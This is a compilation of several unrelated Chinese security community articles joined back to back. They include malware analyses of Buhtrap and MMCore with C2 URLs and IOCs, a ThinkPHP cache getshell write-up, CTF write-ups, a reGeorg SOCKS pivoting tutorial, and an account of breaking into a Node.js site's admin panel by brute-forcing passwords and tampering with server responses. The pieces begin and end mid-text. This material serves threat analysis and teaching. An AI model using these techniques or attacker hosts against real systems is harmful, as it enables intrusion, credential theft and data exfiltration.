Avz.exe:该文件是一个白文件，通过其加载对应update.dll及winspool.drv文件
Update.dll:该文件是一个密码窃取工具，主要用于窃取受害者机器上浏览器，邮箱等凭据
Winspool.drv:一个buhtrap常用的后门
**Winspool.drv**
Winspool.drv是一个dll，由avz.exe加载，对应的入口如下所示：
样本中使用的字符串都通过加密算法加密，一共使用了三种加密手段，且每个字符使用不同的密钥，调用时的堆栈也有所区别，以增加安全人员的分析成本。
主函数中的fun_HooksysApi用于hook系统api
showwindow/createwinodwex/shell_notifyicona，如下所示fun_Hookapi函数中依次传入hook目标api地址，用于保存hook
api头部内容的内存地址，hook回调函数。
fun_Hookapi中首先保存了目标api的前几个字节的内容。通过VirtualProtect修改目标api内存页属性，写入对应的jmp
hook指令，最后VirtualProtect再次调用，以恢复之前的内存页属性。
fun_StoretheOriginaddress中直接通过memcpy的方式保存hook 目标api前几个字节的内容。
如下所示CreateWindowEx的hook效果如下：
但是看过对应的hook回调函数，就会发现实际上这个样本中的hook没有作用，如下所示，hook回调的任务就是将执行流又传递给系统api，因此这里猜测这个hook
api的功能目前应该还只是测试阶段，而攻击者应该是希望通过hook api的方式来转移样本的执行流程，类似银行木马icedid的操作。
对应的主线程中的代码如下所示，一共再次启动了三个线程其中
线程一：主线程
线程二：键盘记录
线程三：类似守护线程。
fun_Connectcc中解密出对应的cc
主线程函数如下所示:
fun_ForsmartCard中用于读取和电脑设备连接的smart card信息
和cc连接，并下载对应的payload，payload猜测有包含后续smartcad dump相关的内容。
加载后续的payload，支持exe和dll。
线程二创建了一个窗口，被设定了对应的窗口回调。
窗口回调中通过GetRawInputData的方式实现键盘记录
需要注意的是该键盘记录只记录指定的进程，如下所示
线程三中监控系统中是否存在互斥量38A81F7C-266A-4509-82E2-34C6E0956EF7，该互斥量由一开始的nsis脚本创建。
加载模块update.dll。
**Update.dll**
Update.dll相关的窃取目标如下所示:
### f36fe1716c9e38fa39186b63339ebee6
该恶意文档打开如下所示，诱饵文档的内容是用户如何通过一系列操作看到文档的真实内容，但是这些操作实际是执行恶意宏的过程。
该样本同样通过恶意vbs执行释放文件，如下所示。
确认运行之后的真实内容。
主要是一份采购清单。
释放的恶意exe同样是一个nsis的安装程序，但是这个样本相较前一个就比较复杂了
$PLUGINSDIR:辅助nsis脚本运行的插件，这个样本中使用了多个插件
$TEMP:保存了对应的凭据窃取工具，和前一个样本一致
$0:一段用于load 的shellcode
$0_1: Meterpreter
[NSIS].nis:对应的nsis脚本
$PLUGINSDIR中的插件如下所示：
Createmutex.dll:用于设置互斥量相关的操作，这也是前一个样本中使用到的唯一一个插件
nsExec.dll:用于辅助nsis脚本执行cmd命令
System.dll:用于辅助nsis脚本调用系统api
Nsis脚本同样通过HideWindow设置隐藏安装，之后调用函数func_516.
该nsis脚本为了获取更为强大的功能，通过调用插件System.dll的方式来调用windows系统api，如下函数就直接调用了VirtualAllocEx函数。
func_516经过一系列处理之后调用函数fun_389.
fun_389设置开机启动，并修改了防火墙的过滤规则，以允许恶意代码和cc的通信，之后调用fun_224.
文档释放的最终nsis安装包。
通过nsis设置了具体的开机启动项
fun_224用于在内存中直接加在两段shellcode，具体步骤如第一个红框所示。
最终shellcode $0,$0_1通过一个线程启动。
Shellcode如下所示:
第一段load shellcode
第二段包含Meterpreter的shellcode
## 参考链接
<https://pwnrip.com/exploiting-cve-2019-1132-another-null-pointer-dereference-in-windows-kernel/>
<https://www.anquanke.com/post/id/102377?from=timeline#h3-6>
<https://www.welivesecurity.com/2019/07/11/buhtrap-zero-day-espionage-campaigns/>
<https://www.welivesecurity.com/2019/07/10/windows-zero-day-cve-2019-1132-exploit/>
<https://blog.csdn.net/mfkjq/article/details/53307987>
<https://baike.baidu.com/item/nsis>
<https://www.group-ib.com/brochures/gib-buhtrap-report.pdf> | 社区文章 |
**作者：腾讯御见威胁情报中心**
**原文链接：<https://mp.weixin.qq.com/s/QrmXuXt3jKjNYzRQn3SIWQ>**
## 背景介绍
MMCore是一款有趣的恶意文件，为下载器下载后在内存中解密执行的一个恶意文件。该恶意文件也被称为BaneChant，最早由fireeye在2013年曝光。此外Forcepoint也在2017年初曝光过而恶意文件的一些攻击活动。
该恶意文件的活动，主要活跃在亚洲地区，包括中国、巴基斯坦、阿富汗、尼泊尔等。不过Forcepoint也提到该攻击活动也包含非洲和美国。攻击的目标主要为军事目标、媒体、大学等。
该攻击活动可以追溯到2013年，直到2020年，依然存在。虽然技术上并未发生太大的改变，但也存在一些有趣的变化。此外在归属上，我们认为该恶意文件跟印度的一些APT攻击组织有关联，包括白象、蔓灵花、孔夫子等，此外我们还意外的发现了一个未被曝光过的攻击武器，一个.net的RAT。
## 攻击技术分析
分析的缘起为一个twitter某个安全研究员的帖子：
虽然我们曾经无数次抓获过该种类样本，也曾经多次在攻击活动中发现过该恶意文件的存在，但是一直并未系统的分析和追溯过该恶意文件。因此这次我们决定深入的来跟踪一下这款有趣的恶意文件。
### 1.MMCore loader分析
我们以下面文件为例进行分析：
整体功能：
对抗沙箱：首先获取最前端窗口，随后每隔1秒钟检测最前端端口是否发生变化，如果不变则无限循环检测：
杀软检测：检测snxhk.dll模块（安全厂商Avast的相关文件），如果有则延时2分钟：
解密下载URL，然后下载并内存执行：
存储方式：
解密后：
下载执行：
shellcode位于偏移+0x14位置：
### 2.MMCore分析 2.MMCore分析
首先检测"avp"、"bdagent"两个杀软进程，如果找到则退出：
然后使用两轮xor，解密得到一个dll：
解密得到的dll具有自加载能力：
dllmain中首先判断加载的进程是否为rundll32.exe，不是则执行木马安装操作：
然后进行install，首先定位自身`._code`区段，该区段存放了一个PE文件：
将PE文件释放到`C:\ProgramData\DailyUpdate\opendrive64.dll`：
在启动目录下释放`OneDrive(2).lnk`文件实现持久化，该lnk快捷方式指向`rundll32.exe`加载`C:\ProgramData\DailyUpdate\opendrive64.dll`并调用其IntRun函数：
启动`rundll32.exe`加载`C:\ProgramData\DailyUpdate\opendrive64.dll`并调用其IntRun函数：
该文件功能与loader相似，主要功能为从`dailysync.zapto.org/fancycumti/combidation/scale.jpg`上拉取payload并加载，确保payload本身无文件落地，每次木马加载均需从网络上拉取paylaod。其功能与loader相同，代码相似，因此不再详细分析。
下面开始执行真正的恶意payload。
首先创建`Mutex 44cbdd8d470e88800e6c32bd9d63d341` 防止重复运行：
执行命令收集获取信息，并将获取的信息上传到C&C服务器：
cmd.exe /q /c tasklist
cmd.exe /q /c ipconfig /all
cmd.exe /q /c dir C:\
cmd.exe /q /c dir D:\
cmd.exe /q /c dir E:\
cmd.exe /q /c dir F:\
cmd.exe /q /c dir G:\
cmd.exe /q /c dir H:\
收集的信息会保存在临时木马下，nnp[4位随机].tmp：
随后会读取到内存中，再删除该文件，再获取一些其他的信息后进行拼接，拼接后的信息如下：
之后开始跟C&C服务器通信：
获取指令，根据不同指令执行以下操作：
命令和功能对应关系如下表：
## 变化历程和总结
从我们的样本库里检索出大量MMcore的样本，针对这些样本我们进行了归纳分析，发现了一些有趣的规律，总结如下：
### 1.得名的由来
该恶意文件第一次被称为MMcore为国外安全公司Forcepoint的一篇分析报告，但是该文章并未解释得名的由来。经过我们的跟踪发现，最初版本的MMcore中，其互斥量的取名为"
MM-Core-Running "，因此我们猜测，Forcepoint因此而给该恶意文件取名为MMCore：
此后，作者对该互斥名进行了一些混淆和变化，如M1M-C1o1r1e-R1u1n1n1i1n1g1：
直至现在，已经完全没有MMCore的影子了：
### 2.标记的变更
此外，从上面的MMCore的详细分析中，可以发现该恶意文件存在明显的版本和版本标签：
我们罗列一下发现的样本标签和版本信息，具体信息如下：
可以发现，标签随着时间的变化而变化，目前最新的版本号为2.5，标签名为FreshPass。
### 3.解密算法的和编码
MMCore的一大特色就是把shellcode存放在下载回来的jpg文件中，虽然有些jpg已经完全没有了jpg的标识：
Shellcode的编码主要有两种，Shikata ga nai和普通的编码。Shikata ga
nai编码为常用的一种躲避杀软检测的编码，海莲花中的shellcode也多采用该编码。
单次xor解密：
两次xor解密：
多次xor解密：
C&C服务器的偏爱
MMCore的攻击团伙比较偏爱动态域名，使用的动态域名包括有ddns.net、zapto.org、no-ip.org、redirectme.net等，部分信息总结如下表：
## 攻击归属
腾讯安全御见威胁情报中心曾经在2019年发布过一篇文章《疑似白象组织针对巴基斯坦、孟加拉国等南亚国家的最新攻击活动报告》，文中就提到了MMCore部分的分析：
该活动的ip跟该文重点分析的白象存在重叠。
此外，也于奇安信的发布的文章《蔓灵花（BITTER）APT组织使用InPage软件漏洞针对巴基斯坦的攻击及团伙关联分析》中的RAT的分析一致：
因此我们把该恶意软件归属到印度的相关组织中。虽然暂时还未清楚MMCore为一个独立小组还是归属于白象、蔓灵花、donot、孔夫子等组织中。但是可以确定的是，该些组织在某些重要的活动中，会采用MMcore恶意软件来进行攻击，至少说明MMCore跟这些组织共享技术。
此外还有个发现，依然是基于腾讯安全御见威胁情报中心去年的文章《疑似白象组织针对巴基斯坦、孟加拉国等南亚国家的最新攻击活动报告》，文章中提到的白象的攻击活动，该文件诱饵使用带有宏的doc进行攻击。我们同样在库里发现了类似的宏文件：
`PakCERT-Snapchat hacked by Pakistani Hacker
Group.doc（92ee6729747e1f37dcae7b36d584760d）`
而文档释放的恶意文件为一个.net编写的RAT：
该.net RAT为之前未公开过的RAT，也为该组织的常规攻击武器之一。
其中文件的pdb为：`d:\KL\rav\rav\obj\Release\rav.pdb`
类似的，也有其他的pdb信息为：`d:\startnew\JackSparow\WinStore\WinStore\obj\Release\WinStore.pdb`
该RAT的主要功能包括：
解密C2：
解密结果为<http://188.241.68.127/pmpk/>，拼接参数得到完整URL，执行systeminfo命令获取系统信息拼接到url尾部，url如下：
[http://188.241.68.127/pmpk/blue.php?MNVal=JNENIEYOU-PC&FNVal=ConnInfo&DVal=17_](http://188.241.68.127/pmpk/blue.php?MNVal=JNENIEYOU-PC&FNVal=ConnInfo&DVal=17_)
## 结论
APT组织的攻击武器库始终在进行不断进化，包括从攻击手段、开发工具和语言等等，也不断会有新的攻击武器库被补充进来。目前曝光的一些攻击武器库可能仅仅只是实际攻击中的冰山一角，但随着跟踪的深入以及被发现的攻击活动越来越多，会有更多的细节被曝光出来。
此外，攻击活动的归属，向来是一个比较头疼的问题。在MMCore的归属上，我们尚无十足的证据来证明必然归属于某个组织，但是至少可以说明，它跟印度的一些组织至少存在基础设施的重叠和攻击武器库的复用。这也跟印度的众多APT组织的关系错综复杂相关。
我们曾不止一次分析过，蔓灵花、白象、孔夫子、donot等等组织存在一定关联，也不排除为同属一个大组织。我们会继续跟踪该恶意文件的攻击活动，力图使得归属上更加清晰。
## 安全建议
1. 腾讯安全威胁情报中心建议我国重要企业、政府机关对APT攻击保持高度警惕，可参考以下建议提升信息系统的安全性：
2. 建议重要机构网管培训工作人员不要随意打开不明来源的邮件附件，在邮件目的及发件人均未知的情况下，建议不要访问附件。
3. 建议企业用户使用腾讯安全T-Sec终端安全管理系统修补漏洞，及时安装系统补丁，可减少被漏洞攻击的风险。同时注意打开Office文档时，避免启用宏代码。
4. 推荐企业用户部署腾讯T-Sec高级威胁检测系统（腾讯御界）对黑客攻击行为进行检测。
## **附录**
### 1.IOCs
MMCore：
fa5ca2cba0dab28fa0fb93a9bd7b1d83
eecbfa73955218181b0bc27c9491bd03
0647bac99b6a8407795134f5d67d4590
0932b703849364ca1537305761bc3429
9e73734ac2ab5293c0f326245658b50e
b5c1b0137181cf818a46126ca613365e
263b6c350cbf7354b99139be17c272d3
9d7953cd0e67e6ebad049faba242a74b
30e519573d04a2e1505d8daafb712406
320e29f867ae579a9db0d04e998e5459
6303059930cfb785c5cf0af1512b2cbe
5024e86b00012a202d6aa55d5502b9e0
86e3e98c1e69f887e23d119d0d30d51c
5a489fb81335a13dff52678bbce69771
9782e1f021fff363b4a6ee196e1aa9cb
a469f3f7eda824bafb8e569deb05b07d
af501dfd35e7d04afd42d9178601a143
851ea11fa3cf5ca859dacf47d066d6df
bac7c5528767d86863532bd31bdd12e2
c0baa532636ecca97de85439d7ae8cb3
eecbfa73955218181b0bc27c9491bd03
d692a057330361f8f58163f9aa7fc3a8
f946ea7d9640023d06c2751dde195eb8
03fa06ac91685e0df4c635339e297e04
0490e54e4cce81d2ab24a6e7787fa595
060d13afdb2212a717666b251feda1d3
5a477d4574983c2603c6f05ff5bae01e
7d19f3547dc900eba548ee5ceb84edae
baa12a311b9029f33c4fc6de6fde06b0
bddb10729acb2dfe28a7017b261d63db
f3a7d55ee47f2b6bdf7ed6259a6f9496
423dbab9d632a1fc318f66dfc370ac28
b692a0f56d2462ba0ec50374c653b6e8
b3286791b22f515ab8d7f8866a154e9c
2826c9c6c25368f773c0e448572585d0
1e8915ccb433ce0406a98faa94db2237
8b2b4bed6db31739686531d11c9e98aa
c4cee8d6f30127938681c93dd19f2af4
0922a6d3d9d9a774eea90853a075056e
b4db105c90d2f2659fd4e930e0b7ad5b
65067f8c60cbc4ee459641c3b704e180
域名：
dailysync.zapto.org
abtprinting.com
adworks.webhop.me
ichoose.zapto.org
theglobalnews24x7.com
timpisstoo.hol.es
burningforests.com
account-support.site
noitfication-office-client.890m.com
mockingbird.no-ip.org
useraccount.co
nayanew1.no-ip.org
nakamini.ddns.net
adrev22.ddns.net
hawahawai123.no-ip.biz
waterlily.ddns.net
pressnorth.net
officeopenxml.co
jospubs.com
davidjone.net
themoondelight.com
g-img.no-ip.biz
adnetwork33.redirectme.net
plansecure.org
kibber.no-ip.org
.net RAT:
0464acc5f3ea3d907ab9592cf5af2ff4
e223ff5a6a961a6c3ff30811e8a2ceb5
517c2c6e5e0f27f6f9c759a04a2bf612
b3a2e376a9a1f9e4d597eb8509aed57a
c69cd5894bdf4c92fcfb324e7db83ce3
f8da3eab85def2cdedd4227eec3114bb
73eb441bcf27a1ee4b1f5c1f78139b3b
5b1d7c4cea8fcb96696a6e9318d36a45
2cc9cd56b2e4c17b6b63bad4dfc5bc10
IP：
188.241.68.127
91.211.88.71
### 2、参考资料
1. <https://s.tencent.com/research/report/711.html>
2. <https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/>
3. <https://www.fireeye.com/blog/threat-research/2013/04/trojan-apt-banechant-in-memory-trojan-that-observes-for-multiple-mouse-clicks.html>
4. <https://www.forcepoint.com/blog/x-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose>
5. <https://twitter.com/KorbenD_Intel/status/1237121311450652672>
* * * | 社区文章 |
### 0x00 框架运行环境
ThinkPHP是一个免费开源的，快速、简单的面向对象的轻量级PHP开发框架，是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，也注重易用性。
Thinkphp在使用缓存的时候是将数据 序列化 然后存进一个php文件中这就导致我们了我们在一些情况下可以直接getshell
### 0x01漏洞利用
该漏洞形成最关键的一点是
需要使用框架时，有使用缓存，才能利用这个漏洞
我们这里使用缓存查看官网对这个缓存类的说明以及利用方法
本地按照官方给的文档安装成功后，
根据官网给的缓存使用方法，
新建一个
方法，我们都清楚缓存一般是为了减少数据库的开销为设置的，所以缓存的数据一般也是从数据库获取到的
为了模拟线上，我们这里先查数据库数据在写入缓存。
这里我们写了一个
add添加数据的方法
%2F%2F%0D%0A = //+回车
执行完以后查看方法缓存目录
这里需要特别说的一点是
TP的缓存名字是不变的，所以我们在审计的时候不用怕缓存文件名猜不到的情况。
### 0x02漏洞分析
上面我们展示了漏洞利用方法，这里我们对这个漏洞进行分析
为了证明我们的逻辑是对的我们这里打印一下返回的数据
通过这个我们就可以知道了下面这个截图的意思
实例化
\thinkp\cache\driver\ 文件里面的
File类 并且调用
set
方法
缓存文件名称的获取方法
# **Thinkphp3.2 缓存函数设计缺陷**
这个感觉没什么可以说的，和上面的原理是一样的，我们只演示攻击的方法
### 修复方案
通过上面的过程与分析我们可以清楚了解造成这个漏洞的主要原因就是换行与回车导致绕过了注释。那么我们修复的方法就很简单了只要删除这些即可
修复方法：
1，打开文件：thinkphp\library\think\cache\driver\File.php
2，找到：public function set($name, $value, $expire = null) 方法
3，添加：$data = str_replace(PHP_EOL, '', $data); | 社区文章 |
# 2021年春秋杯网络安全联赛春季赛 GameContract WriteUp
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
今年春秋杯春秋杯出了一到特别的杂项题 还是个从来没接触过的ETH合约的CTF题 通过查找大量文章找到了ETH合约的调用方法
这里详细写出解题过程以便后人学习ETH合约的调用
## GameContract
#### 题目分析
访问题目网站 要求使用ETH钱包地址注册 使用浏览器扩展metamask注册之(这也是为了方便后续对合约函数的调用)
准备好 Rinkeby 测试网络的 ETH 用作手续费转入所注册后给的 ETH 地址中
看到如此大的价格波动 肯定是利用价格波动赚差价了
到这里还不知道GETFLAG的条件 这是一个ETH合约题 所以我们转向ETH合约去看看合约代码写了什么
使用测试网络区块链浏览器查看交易列表 发现了合约地址
区块链浏览器自带的反编译工具 反编译合约代码
审计源码发现一个疑似getflag的函数 (这里面还有一个坑 getflag函数名没有公开 询问主办方才给了函数名 在最后放出了合约的部分源码)
需要使用 10*10^6 个币(1000W)兑换flag 初始有1W币
之后就进行股票交易操作来满足题目要求了
通过利用股票价格波动进行频繁买卖操作最终得到了1000W币
### 合约的调用
下面是对合约函数的调用操作 (看到排行榜有个大佬几亿个币却不会兑换flag太可惜了)
这里用到的工具是<http://remix.ethereum.org/>
这是一个ETH合约开发调试工具 这里用来调用现有的链上合约
打开网站右键新建一个文件 命名为*.sol 例如test.sol
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
/**
* @title Storage
* @dev Store & retrieve value in a variable
*/
contract TEST {
function payForFlag() public{
}
}
这里只用写出要调用的函数里面不需要写功能 比较像c语言的函数声明 但还有很大的区别 写完一定要ctrl+s保存并编译
function TEST123(uint256 TEST) public view returns (uint256){
}
这个是带传参和返回值的写法
写完函数声明点击左侧Deploy & run transactions
环境选择 Injected Web3
此时metamask扩展会弹出授权窗口 输入密码 授权要操作的ETH账号(这里是股票平台注册时填写的ETH地址所属的钱包账号 )
授权成功后会显示钱包地址和ETH余额 (在发起合约交易一定要保证账户有充足的ETH用作手续费)
这里不使用本地调试 而是调用链上合约所以只需要在At Address右侧填入合约地址
0xec36a74b9d08e796662c032d61530d94061679ea
点击At Address按钮 (如果按钮灰色 根据下面的报错提示 请检查合约地址是否正确 上面的步骤是否正确完成)
最后一步展开点击操作按钮 在浏览器钱包弹出的窗口授权 即可调用合约
通过钱包查看交易地址 在区块链浏览器查看交易状态 Status为Success即为调用成功
在注册邮箱收取flag | 社区文章 |
小弟不才跟随各位大哥学习。。。。写的不好大牛勿喷。。。
reGeorg是reDuh的继承者，利用了会话层的socks5协议，效率更高结合Proxifier使用
Proxifier是一款功能非常强大的socks5客户端，可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS代理或代理链。
该文件下支持php，asp，jsp，aspx
首先我们需要将脚本上传到服务器端，这里是php服务器，所以我们上传tunnel.nosocket.php，访问显示“Georg says, 'All
seems fine'”，表示脚本运行正常
运行reGeorg监听9999端口，可以看到正常运行
reGeorgSocksProxy.py -p 9999 -u
<http://192.168.80.139/zvuldrill/tunnel.nosocket.php>
下面我们配置Proxifier，运行Proxifier之后设置代理
设置代理服务器为9999
代理规则默认即可
右击“mstsc.exe”，选择“proxifier”-》proxy socks5 127.0.0.1进行远程连接
输入内网ip，192.168.80.139，由于环境在同一内网，下面会解释成功的原因
进行登录，输入admin用户，密码qwe123!@#，登录成功
可以看到reGeorg的状态，和proxifier的状态
可以看到代理成功
在服务器端查看，使用netstat
发现是自己连接自己的3389，说明代理成功 | 社区文章 |
### 前言
遇到一个站，后端是Node.js写的，对于这种类型的站点，一般比较难getshell，但也实现了最终的目标，拿到后台权限
### 信息搜集
先进行常规的信息搜集，子域名扫描、端口扫描、目录扫描等
这个站后端脚本语言是Node.js
目录探测发现404界面也极像Node.js的404页面，后面重点关注js文件
### 突破接口
在进行目录扫描的时候，发现了一个有用的目录：
前面说了，重点关注js文件，查看页面源代码，发现一个有趣的js文件，为什么说这个文件有趣呢？因为这个js的文件名和产品名一致
进去之后发现了新世界
这个网站的前端界面都是通过在js文件里document.write函数构造
页面动态渲染的数据是通过js函数中ajax请求获取
$.ajax({
url: host + "/agent/getPlayerInfo",
type: "post",
dataType: 'json',
headers: {"content-type" : "application/json"},
data: JSON.stringify({"uid" : uid})
}).done(function(data){
console.log(data);
核心的所有功能接口都是未授权访问的，根据不同的js文件里的ajax请求，使用postman直接构造数据包，即可实现后台相对应的功能
### 登陆后台
通过上述接口，可以通过用户的uid获取用户的用户名，将所有的用户名作为字典，放入burp爆破弱口令
分析后台登陆包，密码被加密了
在js中找到加密方式，截取的是16位的md5
根据js代码里的if逻辑可以很清楚的看到：返回包code值为101100是密码错误，200就是登陆成功，
成功爆破出多个用户存在弱口令
密码错误：
密码正确：
### 进入管理员后台
利用爆破的用户登陆后台，发现不是管理员权限
但是继续阅读js代码，发现存在如下的代码：登陆成功后data.code ==
200，再根据返回包的agentClass值，可以控制显示的是管理员界面还是客服界面还是一级、二级用户界面。由于是前端判断且通过document.write函数渲染界面，因此可以前端绕过，直接修改返回包中的agentClass值为管理员的值，就可以进入到管理员界面，且后端所有接口也都如上面一样不存在鉴权，因此管理员的后台所有功能都可以使用
agentClass=1时：
agentClass=2-4时：
那么只要修改返回包的agentClass=1即可
成功进入管理员后台 | 社区文章 |
# 帮助众多恶意软件逃避检测：针对一款Delphi加壳器的分析
|
##### 译文声明
本文是翻译文章，文章原作者 Fireeye，文章来源：fireeye.com
原文地址：<https://www.fireeye.com/blog/threat-research/2018/09/increased-use-of-delphi-packer-to-evade-malware-classification.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
为了绕过静态或动态分析工具，恶意软件往往会使用加壳或加密的方法，这样的方法已经被恶意软件开发者广泛使用。然而目前，恶意软件使用多种新型技术，不断尝试逃避分类和检测，而反病毒产品则不断扩充自己的样本库，二者间实际上已经在进行着一场“军备竞赛”。例如，我们发现在地下论坛提供了许多加密服务，他们声称所制作的恶意软件，完全无法被反病毒产品、沙箱或其他终端解决方案检测到。与此同时，我们还看到安全产品在对正常的用户行为数据进行建模，并尝试着将其作为识别恶意软件特征的一种有效方案。
## Delphi加壳
我们所分析的样本，带有Delphi的签名（如下图所示），与使用IDR（Interactive Delphi
Reconstructor）分析时的Delphi代码构造一致。
借助Delphi编程语言，我们能够轻松编写使用Windows
API函数的应用程序或项目。实际上，一些恶意软件编写者使用默认库进行伪装，试图妨碍静态分析的转移过程，并试图使应用程序在动态分析中“看起来合法”。下图就是在某论坛中讨论这种技术的一篇帖子。
## 恶意软件的分发
我们观察到，目前存在具有多个不同主题的恶意邮件，会分发使用这一加壳器进行加壳的Payload。
其中的一个典型例子是电汇恶意邮件，邮件中会包含一个文档文件作为其附件（哈希值：71cd5df89e3936bb39790010d6d52a2d）。在该文档中，包含一个恶意宏，也就是其Payload。恶意邮件的内容如下图所示。
另一个比较典型的例子，是询问报价主题的恶意邮件，它以一个包含漏洞利用的文档作为附件（哈希值：0543e266012d9a3e33a9688a95fce358），该文档利用公式编辑器存在的漏洞来投放Payload（如下图所示）。
这一示例中的文档，会从http[://]5[.]152.203.115/win32[.]exe的位置获取Payload。经过分析，其Payload实际上是Lokibot恶意软件。
## 对用户活动进行检查
加壳器需要尽量确保它不是在分析环境中运行。一般来说，计算机用户在一段时间内就会更改一些应用程序的窗口大小（包括移动位置、缩放等）。因此，该加壳器的第一个变种会首先调用GetForegroundWindow
API检查是否用户已经更改窗口大小3次以上，如果没有，则不会执行任何功能。这一部分的代码如下图所示。有趣的是，通过这样简单的技术，其实就可以防范一部分常用的沙箱。
为了确认用户的活动，加壳器的第二个变体使用GetCursorPos和Sleep
API检查鼠标光标移动，而第三个变体使用GetLastInputInfo和GetTickCount API检查系统空闲状态。
## 从PE资源中提取实际Payload
原始Payload被拆分成多个二进制Blob，并存储在资源目录的各个位置，如下图所示。
为了定位并组装实际Payload的字节，加壳器代码首先直接从资源段内的硬编码资源ID读取内容。它的前16个字节形成一个XOR密钥，用于使用滚动XOR（Rolling
XOR）解密其余字节。解密的字节实际上表示内部数据结构，如下图所示。加壳器使用它，来引用各种资源ID的加密和混淆缓冲区。
然后，加壳器从加密缓冲区中读取值，从dwStartResourceId开始，直到dwStartResourceId+dwNumberOfResources，同时通过读取dwChunkSize块中的内容，将其存储到一个特定的位置。当最终的数据缓冲区准备完成后，会使用前面提到的滚动XOR算法，以及上述结构中新的密钥，对其进行解密，从而生成核心Payload可执行文件。这个脚本可用于静态提取实际的Payload。
## 恶意软件真实的家族分类
我们对样本中的二进制文件进行提取并去壳，最终它们都被识别为Lokibot恶意软件家族。此外，我们还发现了Pony、IRStealer、Nanocore、Netwire、Remcos和nJRAT恶意软件系列，以及一些加密货币挖掘恶意软件。使用该加壳器的恶意软件家族分布如下图所示。由于恶意软件的种类比较多样，所以也就意味着有很多恶意软件开发人员都在使用这种“加密服务”或“加密工具”，以试图逃避反病毒机制的检测。
## 结论
这些加壳和加密服务，无疑是为恶意软件开发人员提供了一种简单方便的选择。他们可以将保护真正Payload的这部分工作外包出去，并且获得非常有效的结果。我们所分析的加壳器采用了反分析技术，从而尝试绕过沙箱。针对于此，如果研究人员能在模拟真实用户行为的沙箱环境中对恶意软件进行分析，那么无疑这样的机制就会变得不再有效。
## IoC
853bed3ad5cc4b1471e959bfd0ea7c7c
e3c421d404c08809dd8ee3365552e305
14e5326c5da90cd6619b7fe1bc4a97e1
dc999a1a2c5e796e450c0a6a61950e3f
3ad781934e67a8b84739866b0b55544b
b4f5e691b264103b9c4fb04fa3429f1e | 社区文章 |
今天小编在这里推荐一个Windows下的流量管理工具 _[GlassWire](https://www.glasswire.com/)_
有简单的防火墙功能，而且，很漂亮。
GlassWire
界面简洁，主界面一共四个功能选项卡：图形流量、防火墙、使用情况和警告。图形流量中统计了当前实时的网络流量，细分了全部流量和已经产生流量的程序列表，还能根据不同时间段查看，觉着哪个程序不认识不科学不安全，进入防火墙界面，点击程序名前面的火焰图标，立马灭了它!
最为重要的是GlassWire
会在发现某程序第一次联网时右下角弹出警告，有人修改网络也会警告，总之网络有变化就警告，这样你就可以一目了然的知道自己电脑的运行状态了。除了电脑小白可用，对于精通电脑的用户来说也值得使用，因为它的功能里面拥有远程控制
GlassWire，网络隐身模式等功能。
## **GlassWire 软件特色：**
可视化网络
监控
使用 GlassWire
简单易用的界面来查看所有过去和现在的网络活动。点击图表看哪些应用程序发起的传入或传出的带宽，并立即看到承载的应用程序都与沟通。主机将自动解决，还包括他们的原籍国。单击该应用程序和流量的选择应用程序和流量类型来分解网络活动。
GlassWire
通过可视化的一个简单的所有过去和现在的网络数据来了解图增加了额外的网络安全到您的计算机或服务器。即时看到每一个应用程序或进程通信的互联网，那么在下潜更深，看看谁或什么您的计算机与通信。每当任何新的东西在您的计算机上访问网络GlassWire让你知道有一个不显眼的警告，将不会中断您的工作流程或服务器。
GlassWire
也有类似的系统文件变化检测，设备列表变化检测，应用信息变化检测，ARP欺骗监测网络的安全检查工具箱，而我们才刚刚开始。我们的软件还提醒您，如果您的计算机或服务器与一个已知的IP或域名威胁沟通。我们正在努力在未来添加更多的入侵检测规则
GlassWire。
不幸的是全面的恶意软件检测和完善的网络入侵检测不存在。我们的软件是不完美的，但我们希望与 GlassWire
组合，利用网络的可视化，防火墙管理和网络监控规则将做反间谍软件和恶意软件的永不落幕的战争好。 GlassWire
的互联网安全是防御的第二行，应始终与一个独立的一级防病毒产品中使用。
网络时间机器
GlassWire
是一个易于使用的工具，可以看到你的过去和现在的网络活动。使用滑块回去的时间和分析过去的网络活动上的图形。检查你的带宽使用按天，周，月和详细解析主机。
去图形或警示标签清楚地看到，当一个应用程序第一次访问互联网，什么是主机与沟通以及由一个小旗子代表任何可用的GeoIP的国家的信息。检查以及详细的主机信息图表对过去安全警报。
人们很容易看到 GlassWire 过去的网络活动以及详细的网络活动上的一个简单的了解曲线图。 | 社区文章 |
# 字符流导致乱码的ctf题
## 问题简介
周末闲来无事,刷题!在刷一道简单的jarviosj网站上的题目的时候,发现了一个很多人都做出来,但是却有个问题,无人指出/指出了貌似还存在错误的情况...
那么现在开始对此问题进行分析
## 问题由来
题目是jarvisoj网站re栏目的FindPass题目.
正常的流程拿着jadx_gui分析该apk
发现其实就是很简单的流程,从res目录中(需要反编译)获取到一段字符串,从assets目录下获取到图片,载入1024个字节,然后进行简单的算法,最后判断是否相等...
其实这个过程很简单,所以当时我就直接写exp了...
key = 'Tr43Fla92Ch4n93'
with open('src.jpg', 'rb') as f:
image_data = f.read()
flag = ""
for i in range(len(key)):
if i % 2 == 1:
flag += chr(ord(key[i]) + temp)
else:
flag += chr(ord(key[i]) - temp)
print flag
#输出结果是Qv49AmZB2Df4jB-
但是输入到apk中,却是错误的,思考了一会儿,怀疑是不是java中char是有符号单字节数据,而python中是无符号的单字节数据,所以flag不对...(这个猜想是错误的,后面会有解释)
所以我去将符号增加,并且模128,最后进行运算,最后跑出来的答案是对的,也符合了最后的flag(这真的是碰巧,运气好,才会在这种情况下猜对)
key = 'Tr43Fla92Ch4n93'
with open('src.jpg', 'rb') as f:
image_data = f.read()
flag = ""
for i in range(len(key)):
if ord(image_data[ord(key[i])]) < 128:
temp = ord(image_data[ord(key[i])]) % 10
else:
temp = -(ord(image_data[ord(key[i])]) % 128) % 10
if i % 2 == 1:
flag += chr(ord(key[i]) + temp)
else:
flag += chr(ord(key[i]) - temp)
print flag
#错误的flag:Qv49AmZB2Df4jB- #正确的flag:Qv49CmZB2Df4jB-
仔细对于一下两个flag,其实就第五位存在变化
